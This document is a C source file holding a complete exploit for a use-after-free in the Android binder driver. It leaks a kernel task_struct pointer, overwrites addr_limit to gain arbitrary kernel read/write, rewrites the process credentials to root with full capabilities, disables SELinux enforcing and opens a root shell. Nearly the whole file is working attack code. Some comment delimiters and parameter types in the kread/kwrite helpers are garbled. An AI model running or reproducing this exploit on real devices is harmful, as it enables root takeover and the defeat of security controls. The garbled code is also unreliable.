#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdint.h>
void *dummy_page;
uint64_t task_struct_kptr, task_pid_kptr, task_cred_kptr, task_init_nsproxy_kptr, cred_kptr, init_nsproxy_kptr, kbase;
static char pipe_read_buffer[PAGE_SIZE];
int sock_fd[2];
int krw_pipe[2];
uint32_t read_pid;
int nBytesRead, nBytesWritten, binder_fd, epoll_fd, pipe_fd[2];
struct epoll_event event = {.events = EPOLLIN};
/* if you have ARM64 kernel comment X86_OFFSET and uncomment ARM_OFFSET */
//#define ARM_OFFSET 1
#define X86_OFFSET 1
#define IOVEC_SIZE 25
#define READ_PIPE pipe_fd[0]
#define WRITE_PIPE pipe_fd[1]
#define RECVMSG_SOCK sock_fd[0]
#define WRITE_SOCK sock_fd[1]
#define KREAD_PIPE krw_pipe[0]
#define KWRITE_PIPE krw_pipe[1]
#define BINDER_THREAD_EXIT 0x40046208ul
#define PIPE_READ_KPTR_OFFSET 0xE8
#define TASK_STRUCT_PID_OFFSET 0x4E8
#define TASK_STRUCT_CRED_OFFSET 0x688
#define TASK_STRUCT_NSPROXY_OFFSET 0x6C0
#define CRED_UID_OFFSET 0x4
#define CRED_GID_OFFSET 0x8
#define CRED_SUID_OFFSET 0xC
#define CRED_SGID_OFFSET 0x10
#define CRED_EUID_OFFSET 0x14
#define CRED_EGID_OFFSET 0x18
#define CRED_FSUID_OFFSET 0x1C
#define CRED_FSGID_OFFSET 0x20
#define CRED_SECUREBITS_OFFSET 0x24
#define CRED_CAP_INHERITABLE_OFFSET 0x28
#define CRED_CAP_PERMITTED_OFFSET 0x30
#define CRED_CAP_EFFECTIVE_OFFSET 0x38
#define CRED_CAP_BSET_OFFSET 0x40
#define CRED_CAP_AMBIENT_OFFSET 0x48
#define GLOBAL_ROOT_UID 0
#define GLOBAL_ROOT_GID 0
#define SECUREBITS_DEFAULT 0x00000000
#define CAP_EMPTY_SET 0
#define CAP_FULL_SET 0x3FFFFFFFFF
// this values may be different in your kernel image
// look at your symbol table
// System.map:
// ffffffff81433ab0 D init_nsproxy
// 0xffffffff81433ab0 - 0xffffffff80200000
#define SYMBOL_OFFSET_INIT_NSPROXY 0x1233800
// System.map:
// ffffffff816a9fe8 B selinux_enforcing
// 0xffffffff816a9fe8 - 0xffffffff80200000
#define SYMBOL_OFFSET_SELINUX_ENFORCING 0x14AA000
#ifdef X86_OFFSET
#define ADDR_LIMIT_OFFSET 0xA18
#endif
#ifdef ARM_OFFSET
#define ADDR_LIMIT_OFFSET 0x8
#endif
/* index equivalent to the iovec which overlaps the wait struct */
#define IOVEC_OVERLAP_INDEX 10
/*
- every iovec is 16 bytes long
- binder_thread is 408 bytes
- so 400 as allocating size
- for the heap spray is ok
*/
struct iovec iovec[25] = {0};
/* needed to trigger the unlink */
int epoll_alloc() {
epoll_fd = epoll_create(0x41);
return 0;
}
/* needed to trigger the unlink */
int epoll_link() {
epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event);
return 0;
}
/* writes a kernel pointer to binder_thread->wait.head, to
binder_thread->wait.head.next and binder_thread->wait.head.prev */
int unlink_kptr_write() {
epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);
return 0;
}
/* free binder_thread struct */
int binder_thread_free() {
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
return 0;
}
int open_binder() {
binder_fd = open("/dev/binder", O_RDONLY);
return 0;
}
void *map_dummy_page() {
return mmap((void *)0x100000000ul, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
void prepare_rw_pipe() {
if( pipe(krw_pipe) ) {
printf("\t[-] failed to create the pipes for stable r/w\n");
exit(-1);
} else {
printf("\t[+] successfully created the pipes for stable r/w\n");
}
}
void task_struct_leak() {
printf("\t[+] opening /dev/binder\n");
open_binder();
printf("\t[+] allocating epoll\n");
epoll_alloc();
printf("\t[+] linking epoll\n");
epoll_link();
printf("\t[+] setting up a pipe\n");
if( pipe(pipe_fd) ) {
printf("\t[-] failed to allocate a pipe\n");
exit(-1);
}
printf("\t[+] changing pipe size to 0x1000\n");
if (fcntl(READ_PIPE, F_SETPIPE_SZ, PAGE_SIZE) == -1) {
printf("\t[-] unable to change the pipe capacity\n");
exit(-1);
}
/* used later to unblock the write and avoid deadlocking */
printf("\t[+] allocating the dummy page\n");
dummy_page = map_dummy_page();
if(!dummy_page) {
printf("\t[-] unable to mmap the dummy page\n");
exit(-1);
}
printf("\t[+] crafting iovecs to leak task_struct\n");
iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page;
iovec[IOVEC_OVERLAP_INDEX].iov_len = PAGE_SIZE;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = PAGE_SIZE;
pid_t child = fork();
/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write
the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail */
if (!child) {
/* used to avoid race conditions */
sleep(2);
/* trigger the unlink to write the address of binder_thread->wait.head (offset 0xa8) to iovec[11].iov_base */
unlink_kptr_write();
/* dummy read */
nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));
if (nBytesRead != PAGE_SIZE) {
printf("\t[-] child failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
exit(-1);
}
close(WRITE_PIPE);
exit(0);
}
/* free binder_thread struct */
binder_thread_free();
/* reallocates binder_thread with iovecs */
nBytesWritten = writev(WRITE_PIPE, iovec, IOVEC_SIZE);
/* writev() returns the size of the valid iovecs, we only provided two valid iovecs with size PAGE_SIZE */
if(nBytesWritten != PAGE_SIZE * 2) {
printf("\t[-] something went wrong, writev() returned 0x%x\n", nBytesWritten);
exit(-1);
}
/* iovec[11].iov_base has been overwritten with a kernel pointer at binder_thread + 0xa8
so when the kernel start processing it to read the contents from it to give them to userspace
it will read contents from the address at binder_thread + 0xA8 */
nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));
if (nBytesRead != PAGE_SIZE) {
printf("\t[-] parent failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
exit(-1);
}
wait(0);
/* the task_struct kptr is at offset 0xE8 */
task_struct_kptr = *(uint64_t *)(pipe_read_buffer + PIPE_READ_KPTR_OFFSET);
task_pid_kptr = task_struct_kptr + TASK_STRUCT_PID_OFFSET;
task_cred_kptr = task_struct_kptr + TASK_STRUCT_CRED_OFFSET;
printf("\t[+] leaked task_struct kernel pointer: 0x%lx\n", task_struct_kptr);
printf("\t[+] task_struct->pid @ 0x%lx\n", task_pid_kptr);
printf("\t[+] task_struct->cred @ 0x%lx\n", task_cred_kptr);
}
/* arbitrary write used to overwrite addr_limit */
void addr_limit_overwrite() {
/*printf("\t[+] opening /dev/binder\n");
open_binder();
printf("\t[+] allocating epoll\n");
epoll_alloc();*/
/* needed to trigger the unlink */
printf("\t[+] linking epoll\n");
epoll_link();
if(!dummy_page) {
printf("\t[-] dummy page is NULL\n");
exit(-1);
}
printf("\t[+] crafting socket data\n");
/* this is *so* important, this will overwrite iovecs (from iovec[10].iov_len to iovec[12].iov_len),
we can achieve an arbitrary write by overwriting iovec[12].iov_base with the address we wanna write to
and its iov_len with the size of the copy, so that when it'll be processed iovec[12].iov_len of data will be
copied to its iov_base (that's how iovecs processing works) */
unsigned long final_sock_data[] = {
0x1, // iovec[IOVEC_OVERLAP_INDEX].iov_len
0x41414141, // iovec[IOVEC_OVERLAP_INDEX + 1].iov_base
0x8 + 0x8 + 0x8 + 0x8, // iovec[IOVEC_OVERLAP_INDEX + 1].iov_len
task_struct_kptr + ADDR_LIMIT_OFFSET, // iovec[IOVEC_OVERLAP_INDEX + 2].iov_base
0x8, // iovec[IOVEC_OVERLAP_INDEX + 2].iov_len
0xFFFFFFFFFFFFFFFE // addr_limit value to write
};
printf("\t[+] crafting iovecs which are gonna be overwrote later\n");
iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page;
iovec[IOVEC_OVERLAP_INDEX].iov_len = 1;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
iovec[IOVEC_OVERLAP_INDEX + 2].iov_base = (void *) 0x42424242;
iovec[IOVEC_OVERLAP_INDEX + 2].iov_len = 0x8;
/* garbage data */
char garbage_data[] = { 0x41 };
printf("\t[+] setting up a socketpair\n");
if( socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1 ) {
printf("\t[-] failed to create socketpair\n");
exit(-1);
}
/* needed to "init" recvmsg() */
printf("\t[+] writing garbage to the socket\n");
nBytesWritten = write(WRITE_SOCK, &garbage_data, sizeof(garbage_data));
if(nBytesWritten != sizeof(garbage_data)) {
printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(garbage_data));
exit(-1);
}
pid_t child = fork();
/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write
the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail */
if (!child) {
/* used to avoid race conditions */
sleep(2);
/* writes iovec[10].iov_len address to itself and iovec[11].iov_base, so
now iovec[11].iov_base points to iovec[10].iov_len, which means that when it'll be processed
it'll start overwriting the iovecs with socket data */
unlink_kptr_write();
/* now all iovecs will be processed, but since the unlink overwrote iovec[11].iov_base with the address
of iovec[10].iov_len, when processing of iovec[11] will start, socket data will be written to iovec[10].iov_len
this will overwrite iovec[12].iov_base and iovec[12].iov_len with socket data, respectively the address of
addr_limit and 0x8 (since we wanna write 8 bytes to addr_limit).
so after iovec[11]'s processing finished, and iovecs have been overwritten, it'll start processing iovec[12]
but since its iov_base has been overwritten with addr_limit address, data (last field of socket data) will be written there */
nBytesWritten = write(WRITE_SOCK, final_sock_data, sizeof(final_sock_data));
/* ensures that the write has been correctly done */
if (nBytesWritten != sizeof(final_sock_data)) {
printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(final_sock_data));
exit(-1);
}
exit(0);
}
/* free binder_thread struct which is gonna be reallocated by the child's write() */
binder_thread_free();
struct msghdr message = {0};
message.msg_iov = iovec;
message.msg_iovlen = IOVEC_SIZE;
/* this reallocates the binder_thread struct with our iovecs */
int received_bytes_addr_limit = recvmsg(RECVMSG_SOCK, &message, MSG_WAITALL);
int expected_bytes_addr_limit = iovec[IOVEC_OVERLAP_INDEX].iov_len +
iovec[IOVEC_OVERLAP_INDEX + 1].iov_len +
iovec[IOVEC_OVERLAP_INDEX + 2].iov_len;
/* as we done in the leak part, the received bytes should match the sum of the size
of all valid iovecs, in this case we have 3 valid iovecs */
if(received_bytes_addr_limit != expected_bytes_addr_limit) {
printf("\t[-] recvmsg() wasn't able to overwrite addr_limit: returned 0x%x instead of 0x%x\n", received_bytes_addr_limit, expected_bytes_addr_limit);
exit(-1);
}
wait(0);
printf("\t[+] overwrote addr_limit with 0xFFFFFFFFFFFFFFFE\n");
}
int kwrite(uint64_t kaddr, void* user_value, size_t size) {
/* doing this to avoid possible issues /
if(size > 0x1000) {
printf("\t[-] writing more than a kernel page can cause issues\n");
}
/ writes user’s value to pipe /
if( write(KWRITE_PIPE, user_value, size) == -1 ) {
printf("\t[-] failed to write the value to the pipe\n");
return -1;
}
/ writes the user’s value we wrote to the pipe to the kaddr */
if( read(KREAD_PIPE, (void *)kaddr, size) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1;
}
return 0;
}
int kread(uint64_t kaddr, void user_value, size_t size) {
/ doing this to avoid possible issues /
if(size > 0x1000) {
printf("\t[-] reading more than a kernel page can cause issues\n");
}
/ writes kernel data to pipe /
if( write(KWRITE_PIPE, (void)kaddr, size) != size ) {
printf("\t[-] failed to read kernel data\n");
return -1;
}
/* writes the value we wrote to the pipe to the kaddr */
if( read(KREAD_PIPE, user_value, size) != size ) {
printf("\t[-] failed to read data back to userspace\n");
return -1;
}
return 0;
}
int kwrite64(uint64_t kaddr, uint64_t value) {
if( kwrite(kaddr, &value, 8) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1;
}
return 0;
}
uint64_t kread64(uint64_t kaddr) {
uint64_t read_value;
if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to write to read memory\n");
return -1;
}
return read_value;
}
int kwrite32(uint64_t kaddr, uint32_t value) {
if( kwrite(kaddr, &value, 4) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1;
}
return 0;
}
uint64_t kread32(uint64_t kaddr) {
uint32_t read_value;
if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to read to read memory\n");
return -1;
}
return read_value;
}
void krw_test() {
pid_t current_pid = getpid();
printf("\t[+] reading the pid @ 0x%lx\n", task_pid_kptr);
if( (read_pid = kread64(task_pid_kptr)) == -1) {
printf("\t[-] failed to read the task_struct->pid: returned %d\n", read_pid);
exit(-1);
}
printf("\t[+] task_struct->pid: 0%d\n", read_pid);
printf("\t[+] getpid(): %d\n", current_pid);
}
void kernel_cred_patch() {
printf("\t[+] reading cred pointer from task_struct\n");
cred_kptr = kread64(task_cred_kptr);
/* basically commit_cred(prepare_kernel_cred(0)); */
kwrite32(cred_kptr + CRED_UID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_GID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_SUID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_SGID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_EUID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_EGID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_FSUID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_FSGID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_SECUREBITS_OFFSET, SECUREBITS_DEFAULT);
kwrite64(cred_kptr + CRED_CAP_INHERITABLE_OFFSET, CAP_EMPTY_SET);
kwrite64(cred_kptr + CRED_CAP_PERMITTED_OFFSET, CAP_FULL_SET);
kwrite64(cred_kptr + CRED_CAP_EFFECTIVE_OFFSET, CAP_FULL_SET);
kwrite64(cred_kptr + CRED_CAP_BSET_OFFSET, CAP_FULL_SET);
kwrite64(cred_kptr + CRED_CAP_AMBIENT_OFFSET, CAP_EMPTY_SET);
}
/* this part has to be tuned for the target */
void disable_selinux_enforcing() {
printf("\t[+] reading init_nsproxy pointer from task_struct\n");
init_nsproxy_kptr = kread64(task_init_nsproxy_kptr);
kbase = init_nsproxy_kptr - SYMBOL_OFFSET_INIT_NSPROXY;
printf("\t[+] kernel base: 0x%lx\n", kbase);
uint64_t selinux_enforcing_kptr = kbase + SYMBOL_OFFSET_SELINUX_ENFORCING;
int ret = kread32(selinux_enforcing_kptr);
if( ret && ret != -1 ) {
printf("\t[+] SELinux enforcing is enabled\n");
if( !kwrite32(selinux_enforcing_kptr, 0x0) ) {
printf("\t[+] successfully disabled SELinux enforcing\n");
}
} else if(ret == 0) {
printf("\t[+] SELinux enforcing is disabled\n");
}
}
int main() {
printf("[*] STAGE 1: task_struct leak\n");
task_struct_leak();
printf("[*] STAGE 2: overwrite addr_limit with 0xFFFFFFFFFFFFFFFE\n");
addr_limit_overwrite();
printf("[*] STAGE 3: preparing pipes for stable r/w\n");
prepare_rw_pipe();
printf("[*] STAGE 3: testing out stable r/w primitives\n");
krw_test();
printf("[*] STAGE 4: patching cred struct\n");
kernel_cred_patch();
printf("[*] STAGE 5: disable SELinux enforcing\n");
disable_selinux_enforcing();
system("/bin/sh");
return 0;
}